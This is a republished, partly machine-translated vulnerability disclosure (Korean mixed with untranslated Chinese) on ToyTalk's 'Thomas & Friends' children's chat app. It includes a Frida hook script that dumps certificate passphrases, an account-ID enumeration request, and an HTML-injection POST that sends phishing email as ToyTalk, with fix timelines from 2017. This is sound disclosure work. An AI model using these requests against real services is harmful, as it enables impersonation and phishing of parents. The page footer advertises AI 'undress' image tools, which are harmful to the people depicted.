찾다
운영 및 유지보수안전'기관차 토마스' 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

취약점 발견 배경

토이톡은 픽사 전 임원들이 설립한 인공지능 장난감 스타트업 회사입니다. 그들이 디자인하는 스마트 장난감은 시각적 추적, 음성 인식, 네트워크 확장 기능을 갖추고 있어 아이들이 앱을 통해 음성으로 장난감과 소통할 수 있습니다. 행동 반응 인식을 통해 어린이가 가상 캐릭터와 대화하는 능력을 자극하고 장난감과 상호 작용하는 재미를 더 잘 실현할 수 있습니다.

ToyTalk는 2015년 7월 "토마스와 친구들 Talk To You"라는 유료 앱을 출시했습니다. 이 앱은 어린이들이 유명한 만화 캐릭터 "기관차 토마스"(Thomas the Tank Engine)와 상호작용할 수 있는 대화형 채팅을 제공합니다. Thomas와 그의 친구들 Percy, Gordon, Henry, James, Edward, Toby 및 Mr. "The Fat Controller" Topham Hay와 함께 Sodor 섬(Topham Hatt 경)의 8개 스토리 투어를 통해 양방향 대화를 나눕니다. 토이톡 장난감 제품의 보안과 홈 네트워크 환경 접속으로 인한 보안 위험을 테스트하기 위해 토이톡 제품은 모두 동일한 코드를 사용하기 때문에 "토마스와 친구들 채팅" 앱에 대한 분석을 하기로 했습니다. 기본이며 Thomas Talk 앱은 설치 및 제거가 쉽고 테스트가 편리하며 Hello Barbie 및 Barbie와 같은 다른 ToyTalk 제품에도 동일한 취약점이 있을 수 있습니다

.

취약점 상황

#취약성 1: - 인증 메커니즘이 부족하여 공격자는 쉽게 어린이인 척하여 토마스 장난감과 대화할 수 있습니다.

#취약성 2: - support@toytalk.com 또는 다른 사람인 것처럼 가장할 수 있습니다.

APP 작동 방식 분석

"토마스와 친구들이 당신과 채팅합니다" 앱이 실행된 후 입력이 필요합니다. 확인을 위해 부모님의 이메일 주소를 제공하세요. 앱에서 제공하는 음성 인식 기능 사용 이메일 주소를 제출한 후 앱이 실행 인터페이스에 진입합니다. 처음에는 확인 권한을 제공해야 하기 때문에 앱이 공격 표면에 노출되는 것이 매우 제한적이라고 느낄 수 있습니다.

다음으로 해당 앱의 네트워크 브라우징 차단 분석을 진행해보겠습니다. 분석 중 이 앱은 인증을 위한 인증서, 즉 인증서를 제공한다는 점에서 다른 앱과 다르다는 것을 발견했습니다. 즉, APP와 웹 서버 간에 상호 인증 프로세스가 있을 것입니다. 이를 기반으로 먼저 클라이언트 인증서의 작동 메커니즘과 관련 비밀번호 확인을 살펴봐야 합니다.

나중에 리버스 엔지니어링을 통해 알아냈습니다. 다음 두 가지 기능이 더 흥미롭습니다. 기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

public void setSslClientCertificate(String filename, String passphrase) {
        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("PKCS12");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mClientCertificate.init(store, new char[0]);
        } catch (Exception e) {
            Log.OMG(e);
         } finally {
            Utils.close(file);
        }
    }
public void setSslCaCertificate(String filename, String passphrase) {

        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("BKS");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mCaCertificate.init(store);
        } catch (Exception e) {
            Log.OMG(e);
        } finally {
            Utils.close(file);
        }
    }
기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석 그 이후에는 비밀번호 입력 기능을 계속해서 역검색하지 않고 frida 후크 기능과 함께 다음 Python 스크립트를 사용하여 비밀번호와 파일 이름을 덤프하여 더 깊이 들어갔습니다.
import frida
import sys
def on_message(message, data):
    print message
device = frida.get_device_manager().enumerate_devices()[-1]
pid = device.spawn(["com.toytalk.thomas"])
print (pid)
session = device.attach(pid)
ss = '''
 Java.perform(function () {
    var MyClass = Java.use("com.toytalk.library.HttpRequester");
    MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
    MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
})
'''    
script = session.create_script(ss)
script.load()
script.on('message', on_message)
device.resume(pid)
#session.detach()
sys.stdin.read()

다행히도 올바른 인증 인증서 파일을 APK에서 추출하여 중간자 공격(MITM)을 수행하는 데 사용할 수 있으며, 흥미롭게도 Toystalk.12 파일은 어떤 비밀번호로도 보호되지 않습니다

이제 . 클라이언트 인증서를 사용할 수 있지만 인증서 고정 메커니즘은 여전히 ​​우회해야 합니다. 이를 달성하는 방법은 여러 가지가 있지만 가장 쉬운 방법은 apk에서 인증서를 삭제하고 프로그램을 다시 빌드한 후 다시 설치하는 것입니다. 클라이언트 인증서를 Burpsuite로 가져와 인증서 잠금 기능을 비활성화한 후 대부분의 APP 프로그램 테스트의 첫 번째 단계인 트래픽 차단에 들어갈 수 있습니다.

취약점 분석

취약점 1 - 인증 메커니즘 부족

또한 앱은 덜 명확한 기능을 제공합니다. 즉, 캡처된 대화 오디오 파일은 부모가 나중에 재생할 수 있도록 온라인에 저장됩니다. 이전 동의에 사용된 이메일 주소. 단, 이 이메일 주소는 부모가 비밀번호를 재설정할 때만 사용됩니다. 기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

"말하기" 버튼을 누르면 앱이 캡처한 오디오 파일을 다음 POST 요청 방식으로 원격 웹 서버로 보냅니다:

https://asr.2.toytalk.com / V3/ASR/0673BCB8-367a-44BC-AED5-8C21FB7086AF/Thomas/1502714441? 계정 = & LT; 제거됨 & GT; & LT; 제거됨 & GT; device_id = & lt; 제거됨 & gt; & lt; 제거됨 & gt ;&os=Android&os_version=5.1&intelligence=0%2F1%2Fc%2F01cd49694727bbcf1c0cefd7a4a24f2e_intelligence.tiz&ruleset_id=rs_b92dd8d9-cba9-4a76 -a56b-51fc3d15f8f5&rate=16000

虽然其中的发送内容涉及很多变量值,但通过把当前用户ID更改为其它用户ID后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。

在这种情况下,虽然用户ID是一个随机的全局惟一标识符(GUID),但我们可以根据邮箱地址等已知线索来发现一些有效的用户ID信息。

此外,通过在ToyTalk代码库上运行“strings”命令,我们也可以找到一些线索:

기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:

https://api.toytalk.com/v3/account/

就能下载到一个包含用户ID的文件。有用户ID信息在手,就能更改POST请求中的ID信息,将对话音频发送到任何注册了该APP的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备ID和相关联的用户ID。我们还没测试设备ID是否能以其它方法获取,但要向某个用户账号添加一个设备ID,貌似需要访问到关联的邮箱地址才行。

漏洞报送进程

2017.8.14 -  向ToyTalk报告漏洞

2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态

2017.11.29 - ToyTalk再次测试发现漏洞仍然存在,并重置为reopen状态

2017.12.8  - 完全修复漏洞

2017.12.18 - 漏洞赏金发放并关闭漏洞报告

漏洞2 - 可向ToyTalk邮件中注入恶意HTML框架

几天过后,我的朋友建议我学习一下ToyTalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“Thomas And You”等APP应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户ID之后,那么,接下来可以修改电子邮件HTML中包含的设备名称,以该受害者用户ID为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。

为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该APP上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户ID,用以后续进行钓鱼邮件发送。

也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户ID:

GET /v3/account/<email> HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</email>

然后,再以该用户ID为可信发件人,用以下POST方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:

POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"%20<a>click%20here</a>&application=Thomas+And+You&always HTTP/1.1
Content-Type: text/plain
Content-Length: 0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</accountid>

以上只是一个简单的PoC示例,它利用标签将HTML链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:

기관차 토마스 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석

漏洞报送进程:

2017.12.4 - 提交漏洞

2017.12.12 - 官方致谢

2017.12.18 - 官方修复漏洞

2017.12.18 - 发布赏金并关闭漏洞报告

整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量APP在开发过程中忽视了全面的安全考虑。

위 내용은 '기관차 토마스' 스마트토이 앱의 채팅 애플리케이션 취약점 발견 사례 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 亿速云에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
1 몇 달 전By尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

VSCode Windows 64비트 다운로드

VSCode Windows 64비트 다운로드

Microsoft에서 출시한 강력한 무료 IDE 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

Dreamweaver Mac版

Dreamweaver Mac版

시각적 웹 개발 도구

mPDF

mPDF

mPDF는 UTF-8로 인코딩된 HTML에서 PDF 파일을 생성할 수 있는 PHP 라이브러리입니다. 원저자인 Ian Back은 자신의 웹 사이트에서 "즉시" PDF 파일을 출력하고 다양한 언어를 처리하기 위해 mPDF를 작성했습니다. HTML2FPDF와 같은 원본 스크립트보다 유니코드 글꼴을 사용할 때 속도가 느리고 더 큰 파일을 생성하지만 CSS 스타일 등을 지원하고 많은 개선 사항이 있습니다. RTL(아랍어, 히브리어), CJK(중국어, 일본어, 한국어)를 포함한 거의 모든 언어를 지원합니다. 중첩된 블록 수준 요소(예: P, DIV)를 지원합니다.

Atom Editor Mac 버전 다운로드

Atom Editor Mac 버전 다운로드

가장 인기 있는 오픈 소스 편집기